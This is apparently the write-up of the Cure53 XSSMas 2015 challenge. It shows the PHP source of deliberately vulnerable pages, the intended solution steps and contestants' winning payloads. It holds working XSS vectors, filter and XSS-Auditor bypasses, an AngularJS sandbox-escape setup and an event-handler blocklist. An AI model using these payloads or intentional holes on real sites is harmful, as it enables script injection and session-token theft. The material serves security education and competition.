-
Notifications
You must be signed in to change notification settings - Fork 222
XSSMas Challenge 2015
This is the writeup of the Cure53 XSSMas Challenge '15. Shown below is the source code of the challenge arena, a high-level explanation of what steps were necessary to solve it and a list of evil bits we implemented to make the contestants lives a bit harder.
We will further of course show the submissions, crown the winners and bathe them in glory and fame as we do every year and will do, if the world keeps turning.
The challenge was curated by @0x6D6172696F, @mmrupp and @filedescriptor. An overall of 2.500,00 EUR will be paid out to the winners. The challenge was hosted by @cure53berlin
Over the course of the challenge, an overall of 1.882 messages was exchanged between the curators. Several hundred mails, DMs and chat messages were exchanged between curators and contestants. The planning and implementation of the challenge started on December 11th, 2015.
The challenge bed was written in PHP and consisted of four separate (relevant) pages:
<!--
Handcrafted from home-grown, whip-creamed HTML elements by @filedescriptor and @0x6D6172696F
Sponsored with sweet sweet money and hosting by @cure53berlin and @mmrupp
As usual, consider this challenge to be the work of mad men. Nothing here will make sense. Until you win it.
-->
<?php
$spells = array(
'BEHIND YOU!!1',
'What is that smell?',
'Transform into a target',
'Flexible layouts are hard',
'No one actually needs CSS',
'We will all miss MSIE',
'We will all miss Firefox',
'-moz-expression(alert(1))',
'Real men don\'t use CSP',
'Real women don\'t use XFO',
'Sell all your goods and convert to PDF!',
'I should not have let Freddy into that training...',
'Is it 2016 already?',
'What time is it?',
'What year is it?',
'Will Firefox ever get an XSS filter?',
'I hope Chrome implements CSS Shaders',
'You forgot autocomplete off! Where is my bug bounty!',
'Given enough eyes, all challenges are shallow',
'This website is secured by Threatbutt CyberSomething',
'None of the things in this title are actually funny',
'What happened to JSSS?',
'alert, autofocus and onblur? You really thought that one through!',
'and the amazing potential of \'-confirm(1)-\'',
'AngularJS is like the witch. And Hansel and Gretel have to bypass the sandbox.',
'"Oh FFS Hansel, breadcrumb navigation? Really? Thanks, doofus!"',
'Never forget - it is just a website. No one actually cares.',
'Some of this gibberish here might contain hints',
'We need a Manhattan Project for base64!',
'Almost tastes like chicken.',
'This challenge is a safe-space for all of us!',
'Goddamn framework-XSS hipsters and their expressions',
'I wonder why we still support secure UI research? Ain\'t that a dead horse?',
'I was close to solve it but then I took an arrow in the knee',
'I was close to solve it but then *squaaaak*',
'What are clouds?'
);
$chosen = $spells[rand(0, count($spells)-1)];
?>
<title>Cure53 XSSMas Challenge 2015 - <?php echo $chosen; ?></title>
<meta charset="utf-8">
<?php
// set security headers
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block;');
header('X-Content-Type-Options: nosniff');
header('Content-Type: text/html; charset=utf-8');
// set HTTPOnly and secure cookies
ini_set('session.cookie_httponly', 1);
#ini_set('session.cookie_secure',1); // No SSL for now
ini_set('session.use_only_cookies',1);
session_start();
session_regenerate_id();
// set entry token for token.php
$_SESSION['token'] = uniqid();
?>
<style>
* {font-family: "Comic Sans MS", cursive, sans-serif}
p {width: 80%}
</style>
<h1>Ho, ho, ho! The Cure53 XSSMas Challenge is here!</h1>
<h2>Giddy up that reindeer and off we go for a wild ride into the world of crazy browser features.</h2>
<h3>We're in the year <?php echo date('Y') ?> and things got even crazier than they ever were before. Thanks for being reliable on that, vendors!</h3>
<p>
Welcome to the annual Cure53 XSSMas Challenge: Like every year, we present the likely to be finest and fiercest of all XSS challenges.
There is one final goal - but many ways to reach it. An overall of four steps have to be completed. At least. Or is there a way to directly alert the final secret and win? Who knows...
</p>
<h2 style="color:red">The challenge is over! Write-Up soon!</h2>
<p>
You win the challenge if you make it through to the file <code>index3.php</code> without a 404, alert its location with the necessary token attached and send us a link to reproduce exactly that.
Note, that we don't allow any user interaction this year. If we click your link and nothing happens, you probably didn't win.
</p>
<div style="padding: 10px; border: 15px ridge red;">
This is Santa's Mailbox. It really is! You can place a letter to Santa by using the GET parameter "xss". Strange coincidence, right?
<hr />
<div class='<?php echo htmlentities(str_replace('<script>', '', $_GET['xss'])); ?>'>·–·</div>
</div>
<h2>But Santa, oh Santa, what are the rules?</h2>
<ol>
<li>Your task is to find the final present in Santa's bag of tricks</li>
<li>You cannot rely on user interaction. Ever. Not even mild one.</li>
<li>The solution has to come as a URL. Via JSFiddle or whatever you think is right</li>
<li>The sender of the first valid solution will win <b>1000 EUR</b></li>
<li title="We count every byte of payload. And we have the last word on this :)">The shortest solution (counted in bytes, Ben! :P) before the challenge ends will win a <b>750 EUR Bonus</b></li>
<li>We will update the score-board regularly. The challenge ends on 31st of January 2016 12:00 at noon, CET</li>
<li>Being the first and the shortest at the same time is possible, Masato :D</li>
<li>Present to us a solution that will alert Santa's final present. The token to XSSMas Kingdom!</li>
<li>No trash-browsers, solution MUST work in latest version of either FF, Chrome, Opera or Edge. No MSIE!</li>
</ol>
<h2>Now, what am I supposed to do to avoid becoming reindeer fodder?</h2>
<ol>
<li>Exploit the XSS on this page without user interaction</li>
<li>Leak the token from <code>token.php</code></li>
<li title="More hints will be here soon!"><i>index.php</i> can be solved by injecting <b>two</b> attributes.</li>
<li>It's stripping that bypasses the XSS filter</li>
<li>██████████████████████████████████████████████████████████████████<?php //Inject JavaScript in <code>index3.php</code> to alert <code>window.location</code>?></li>
<li>Wrap it all up in one URL, shorten, send us the URL, win!</li>
</ol>
<h2>Why would I do all that!</h2>
<ol>
<li>Because it's fun!</li>
<li>You'll learn crazy things!</li>
<li>You might win one of two cash prizes :) Or both at the same time!</li>
</ol>
<p>
Now go forth and crack the XSSMas Challenge :D And let us, <a href="https://twitter.com/filedescriptor">@filedescriptor</a> and <a href="https://twitter.com/0x6D6172696F">@0x6D6172696F</a> know how you like it or if something is broken!
</p>
<p>
Solved it? Mail us! You'll find out how :)
</p>
<h2>Winners</h2>
<ol>
<li>You?</li>
</ol>
<script src="token.php?token=<?php echo session_id();?>&callback=document.write"></script>
This is a warm-up stage to test your knowledge of user interaction free vectors, and requires you to do a little bit fuzzing. The trick is that for most of the visible elements, using either contenteditable
or tabindex
makes them focusable. After that you can assign an id
to such element and reference it using URL fragment (In Chrome and Edge the referenced element will be focused once the page is loaded) with onfocus
. Since XSS Auditor is enabled, you will also have to figure out the string <script>
is being stripped and can be abused to trick the auditor.
<?php
// set security headers
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block;');
header('X-Content-Type-Options: nosniff');
header('Content-Type: text/javascript; charset=utf-8');
// set HTTPOnly and secure cookies
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure',1);
ini_set('session.use_only_cookies',1);
// start session management
session_start();
// DO NOT REGENERATE EVER
?>
// authorization API (for local testing)
// don't use it in production otherwise it'll always return "Access Denied"
// real (wo)men don't use CORS, duh
<?php
// check if callback format and token are valid, forbid same origin requests
if (preg_match('#^[\w.]+$#', $_GET['callback']) && $_GET['token'] === session_id() && !empty($_SERVER['HTTP_REFERER']) && !preg_match('#\.cure53\.#i', $_SERVER['HTTP_REFERER'])) {
?>
if (document.location.href == document.location.protocol + '//localhost' + location.pathname)
<?php echo $_GET['callback']; ?>({"callback_url":"index2.php?token=<?php echo $_SESSION['token']; ?>"});
else
<?php echo $_GET['callback']; ?>({"callback_url":"Access Denied"});
<?php
} else {
// session or callback format is not valid, deny service
echo $_GET['callback'] . '({"callback_url":"Access Denied"})';
}
?>
token.php
is an JSONP API endpoint with suspicious client-side protections to restrict embedded from anything other than localhost. Due to the fact that certain properties of document.location
are immune to changes, one cannot simply override them to bypass it because any modification will trigger navigation. The trick here is to embed the it under the Web Worker context. In Web Worker scope there are not so many predefined host objects (i.e. document
and location
), so that one can create them and embed it using Web Worker to bypass the check to get the token.
<!--
"One man's scope is another man's hope.
Don't put reindeer-poop in the sandbox!"
Robert De Niro
--><?php
// set security headers
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block;');
header('X-Content-Type-Options: nosniff');
header('Content-Type: text/html; charset=utf-8');
// set HTTPOnly and secure cookies
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure',1); // No SSL for now
ini_set('session.use_only_cookies',1);
// start session management
session_start();
// DO NOT REGENERATE YET
// check if we have the right session from index.php
if($_SESSION['token'] && $_GET['token'] === $_SESSION['token']){
// make sure we get a new session for index3.php
session_regenerate_id();
// if all is fine, show the markup below
?>
<!doctype html>
<html lang="en" ng-app="x">
<head>
<script src="angular.js"></script>
<script src="client.js"></script>
<style>
* {font-family: "Comic Sans MS", cursive, sans-serif}
p {width: 80%}
</style>
</head>
<body ng-controller="y" id="test">
<h2>GET the Letters of the Alphabet</h2>
<ul><?php
/**
* What we want people to do here is either use a sandbox bypass
* or use the existing function on scope. The function in scope is long.
*
* People can use that to avoid finding a bypass. But with a working
* bypass, you will get a much shorter submission.
*
* Note, that length restrictions make everything a bit harder here :)
*/
?>
<li>A <?php echo htmlentities(substr($_GET['a'], 0, 5)); ?></li>
<li>B <?php echo htmlentities(substr($_GET['b'], 0, 6)); ?></li>
<li>C <?php echo htmlentities(substr($_GET['c'], 0, 7)); ?></li>
<li>D <?php echo htmlentities(substr($_GET['d'], 0, 8)); ?></li>
<li>E <?php echo htmlentities(substr($_GET['e'], 0, 9)); ?></li>
<li>F <?php echo htmlentities(substr($_GET['f'], 0, 10)); ?></li>
<li>G <?php echo htmlentities(substr($_GET['g'], 0, 11)); ?></li>
<li>H <?php echo htmlentities(substr($_GET['h'], 0, 12)); ?></li>
<li>I <?php echo htmlentities(substr($_GET['i'], 0, 13)); ?></li>
<li>J <?php echo htmlentities(substr($_GET['j'], 0, 14)); ?></li>
<li>K <?php echo htmlentities(substr($_GET['k'], 0, 15)); ?></li>
<li>L <?php echo htmlentities(substr($_GET['l'], 0, 16)); ?></li>
<li>M <?php echo htmlentities(substr($_GET['m'], 0, 17)); ?></li>
<li>N <?php echo htmlentities(substr($_GET['n'], 0, 18)); ?></li>
<li>O <?php echo htmlentities(substr($_GET['o'], 0, 19)); ?></li>
<li>P <?php echo htmlentities(substr($_GET['p'], 0, 20)); ?></li>
<li>Q <?php echo htmlentities(substr($_GET['q'], 0, 21)); ?></li>
<li>R <?php echo htmlentities(substr($_GET['r'], 0, 22)); ?></li>
<li>S <?php echo htmlentities(substr($_GET['s'], 0, 23)); ?></li>
<li>T <?php echo htmlentities(substr($_GET['t'], 0, 24)); ?></li>
<li>U <?php echo htmlentities(substr($_GET['u'], 0, 25)); ?></li>
<li>V <?php echo htmlentities(substr($_GET['v'], 0, 26)); ?></li>
<li>W <?php echo htmlentities(substr($_GET['w'], 0, 27)); ?></li>
<li>X <?php echo htmlentities(substr($_GET['x'], 0, 28)); ?></li>
<li>Y <?php echo htmlentities(substr($_GET['y'], 0, 29)); ?></li>
<li>Z <?php echo htmlentities(substr($_GET['z'], 0, 30)); ?></li>
</ul>
</body>
<!-- index3.php?token=<?php echo session_id(); ?> -->
</html>
<?php
} else {
// session is not valid, deny service
http_response_code(404);
echo '<h1>404 Not Found</h1><iframe style="opacity:0" src="https://www.youtube.com/v/q8Z28kSiMKE?autoplay=true" height=600 width=800>x</iframe>';
}
?>
angular.module('x', []).controller('y', function($scope) {
$scope.mapContentFromURLToHTMLAndRenderButOhMyTheFunctionNameIsSoLongThatItKindaFeelsWrongToUseItRight = function() {
document.getElementById('test').innerHTML=document.URL;
}
$scope.mapContentFromURLToHTMLAndRenderAndDoThatUsingECMASCript6BecauseWhyNotRight = function*(){
// This is too fancy, remove later on...
}
});
At this stage a Single Page Application using AngularJS is presented. The title reveals that the inputs are the 26 alphabets. All inputs are sanitized but template injection is possible. Although guarded by the expression sandbox, there are two ways to execute custom codes: use the existing function on scope or a sandbox bypass. Note that each input has a different length restriction, and string concatenation is needed in this case.
<!--
"I ate a hash brownie while going to target
at the end of a full-moon phase.
Bro, it was a crazy experience." *makes a gang sign*
Albert Einstein
-->
<?php
/**
Model-Solution here:
<style>
.box {
width: 100px;
}
.box:target {
width: 200px;
}
</style>
<body>
<div id="xxx" onwebkittransitionend="alert(1)" style="-webkit-transition: width .1s;" class="box"></div>
</body>
*/
// set security headers
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block;');
header('X-Content-Type-Options: nosniff');
header('Content-Type: text/html; charset=utf-8');
// set HTTPOnly and secure cookies
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure',1); // No SSL for now
ini_set('session.use_only_cookies',1);
// start session management
session_start();
// DO NOT REGENERATE YET
// check if we have the right session from index.php
// Also check if the contestant "really" comes from index2.php :D
if($_GET['token'] === session_id() && strpos($_SERVER['HTTP_REFERER'], '/index2.php')){
// make sure we get a new session for index3.php
session_regenerate_id();
// if all is fine, present an array of events to be filtered
$events = array(
'onabort',
'onactivate',
'onanimationend',
'onanimationiteration',
'onanimationstart',
'onafterprint',
'onafterupdate',
'onbeforeactivate',
'onbeforecopy',
'onbeforecut',
'onbeforedeactivate',
'onbeforeeditfocus',
'onbeforepaste',
'onbeforeprint',
'onbeforeunload',
'onbegin',
'onblur',
'onbounce',
'oncanplay',
'oncanplaythrough',
'oncellchange',
'onchange',
'onclick',
'oncontextmenu',
'oncontrolselect',
'oncopy',
'oncut',
'ondataavailable',
'ondatasetchanged',
'ondatasetcomplete',
'ondblclick',
'ondeactivate',
'ondrag',
'ondragdrop',
'ondragend',
'ondragenter',
'ondragleave',
'ondragover',
'ondragstart',
'ondrop',
'ondurationchange',
'onemptied',
'onend',
'onended',
'onerror',
'onerrorupdate',
'onexit',
'onfilterchange',
'onfinish',
'onfocus',
'onfocusin',
'onfocusout',
'onformchange',
'onforminput',
'oninvalid',
'onreceived',
'onhelp',
'onkeydown',
'onkeypress',
'onkeyup',
'onlayoutcomplete',
'onload',
'onloadeddata',
'onloadedmetadata',
'onloadstart',
'onlosecapture',
'onmediacomplete',
'onmediaerror',
'onmessage',
'onmousedown',
'onmouseenter',
'onmouseleave',
'onmousemove',
'onmouseout',
'onmouseover',
'onmouseup',
'onmousewheel',
'onmove',
'onmoveend',
'onmovestart',
'onoffline',
'ononline',
'onoutofsync',
'onpagehide',
'onpageshow',
'onpaste',
'onpause',
'onplay',
'onplaying',
'oppopstate',
'onprogress',
'onpropertychange',
'onload',
'onreadystatechange',
'onrepeat',
'onreset',
'onresize',
'onresizeend',
'onresizestart',
'onresume',
'onreverse',
'onrowdelete',
'onrowenter',
'onrowexit',
'onrowinserted',
'onscroll',
'onsearch',
'onselect',
'onseek',
'onseeked',
'onseeking',
'onselect',
'onselectionchange',
'onselectstart',
'onstalled',
'onstart',
'onstorage',
'onstop',
'onsubmit',
'onsuspend',
'onsynchrestored',
'ontimeerror',
'ontimeupdate',
'ontrackchange',
'ontransitionend',
'onunload',
'onurlflip',
'onvolumechange',
'onwaiting',
'onwebkitanimationend',
'onwebkitanimationiteration',
'onwebkitanimationstart',
/** 'onwebkittransitionend' < this is the event people should work with **/
'contenteditable'
);
// filter all those events above, like a top-notch anti-APT WAF applicance :D
$_GET['xss'] = htmlentities(str_ireplace($events, 'onend', $_GET['xss']));
// make sure a user can inject CSS but not leave the STYLE tag
$_GET['css'] = htmlentities($_GET['css']);
?>
<style>
/* Why not get that page some "css"? */
<?php echo $_GET['css']; ?>
/*
You are very VERY close!
To win the challenge, make sure your
injection alerts window.location.
Without ANY user interaction.
If you can do that, you have won!
Then take the link that gets you from
index.php to this point and send it to us.
As JSFiddle, JSBin, link via mail or
whatever is good for you and doesn't
require us to jump through burning hoops :)
<[email protected]>
*/
</style>
<p class='<?php echo $_GET['xss']; ?>'></p>
<?php
} else {
// session is not valid, deny service
http_response_code(404);
echo '<h1>404 Not Found</h1><iframe style="opacity:0" src="https://www.youtube.com/v/q8Z28kSiMKE?autoplay=true" height=600 width=800>x</iframe>';
}
?>
At first glance, the final stage looks like the first stage. The only difference is that in here every possible event handler is replaced with onend
(we decided to use this to confuse people to play with the onend event :D). There is also a CSS injection but in modern browsers CSS no longer executes JS. The trick here is that one can notice the event onwebkitanimationend
ends exactly with the string onend
, so that you can use something like onwebkitanimationcut to let the filter do the work (this also bypasses XSS Auditor). After that you can use the CSS injection to set up an animation to trigger the event with user interaction.
To sum up, what we wanted you to do, is essentially the following:
- Find a way to bypass the XSS filters of all browsers by realizing, the string
<script>
is being stripped - Find a way to execute the injected script on
index.php
without user interaction - Then steal the token from
token.php
to get toindex2.php
- There you would have to either bypass the AngularJS sandbox or create a very long submission with the implicit bypass we created for you
- Or be smart and realize, that you can bypass
index2.php
completely by messing with the referrer - Then to enter
index3.php
and create XSS without user interaction again, despite the much harder conditions here
Shown below is the model solution we used a sanity check and proof-of-concept that the challenge indeed can be solved.
<script>
name=`(localStorage.a=-~localStorage.a)&1?document.body.innerHTML=
'<iframe src=//innerht.ml/challenges/xmas2015/index.php?url='+document.scripts[0].src+'>':
location=(document.documentElement.innerHTML.match(/index.+ /))[0].replace(/ $/, '')
+'&css=.box{width:1px;-webkit-transition:%20width%20.1s}.box:target{width:2px}
&xss=box%27id=x+onwebkittransitionstop=alert(location)+#x'`;
location='https://xssmas2015.cure53.co.uk/?xss=%27tabindex=0+id=a+onfocu%3Cscript%3Es=eval(name)//#a';
</script>
Besides the intended solution which requires challengers to go through all the stages, we have created some subtle shortcuts to make the challenge more interesting (aka shortening). In each stage, we compare the token to prevent challengers from directly jumping to the final stage. It is not hard to notice all tokens are reusable, meaning one can use the token from the first stage tot access the final stage. In order to also prevent such trivial bypass, a rough referrer check which looks for the substring index2.php
is employed and of course easy to bypass. All submissions except the first from Masato Kinugawa use the shortcuts.
Now for the most interesting part. The submissions of our fellow contestants. We'll show them in the order of length, starting with the winning vectors:
'style=transition:1s+id=x+onwebkittransitionend=oncut=`<script>`?alert(URL):location=[`index3/index2.php`,all[57].src,URL]+tabindex=1#x
'on<script>focus=location=[`index3/index2.php`,all[57].src,URL.split`/`.join`transition`]+on//cut=alert(URL)+style=/:1+id=x+tabindex=0#x
'on<script>focus=location=[`index3/index2.php`,all[58].src,URL.replace(/\//g,`transition`)]+on/unload=alert(URL)+id=a+style=/:1s+tabindex=1#a
'onfocus=location=`<script>index3/index2.php${all[58].src}%26xss='ontransitionunload='alert(URL)'`%2bURL+id=b+style=transition:1s+tabindex=0#b
k/index2.php'o<script>nfocus=location=`index3/${all[56].src}%26xss='onanimationcut='alert(location)%26css=*{animation:a}@keyframes%2Ba{`+id=a+tabindex=0#a
'onfocus<script>=location.href="//tinyurl.com/zr5n38y?%2526"%2bscripts[0].src.slice(42)%2b"%23x"+id=x+tabindex=1#x
'onanimationcut=alert(location)+id=x+tabindex=0&css=*{animation-name:a}@keyframes+a{} #85
Some of the submissions we received were so cool, that we decided to award special prizes for them (250 EUR each). Those went to:
'style=transition:1s+id=x+onwebkittransitionend=alert(URL)?oncut:location=`<script>index3/index2.php${all[56].src}${URL}`+tabindex=1#x
Pepe tried to trick us into believing, that it's fine that the first alert pops on the index.php
page - and the seconds one on index3.php
. For a second we agreed but then, after talking with other challengers, concluded that this is not according to the rules. So, we awarded 250 EUR for creativity and moved on.
/index.php/index2.php/ aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/index3/?xss='tabindex=0+id=x+on
<script>focus='location=[all[56].src.slice(4073),"%26xss=\47onanimationcut=alert(URL)+%26css=p{animation:x}@keyframes
+x{"]#x
Oren was causing an error in token.php
by using an overlong path name. That caused the challenge setup to misbehave and allow him for a very short submission - if only the parameter payload would be counted. We decided, that we should also count his extra payload. So he didn't win the shortest vector but for sure an award for creativity. Very very cool idea!
'onwebkittransitionend=oncut=`<script>`?alert(URL):location=[`index3/index2.php`,all[59].src,URL]+style=transition:1+id=x+tabindex=0#x
This one is only 134 bytes and it works on Safari. First we were like "Aaah, could be valid" but then we realized, that Safari is not explicitly mentioned in the rules. Anyway - special prize it is!
TBD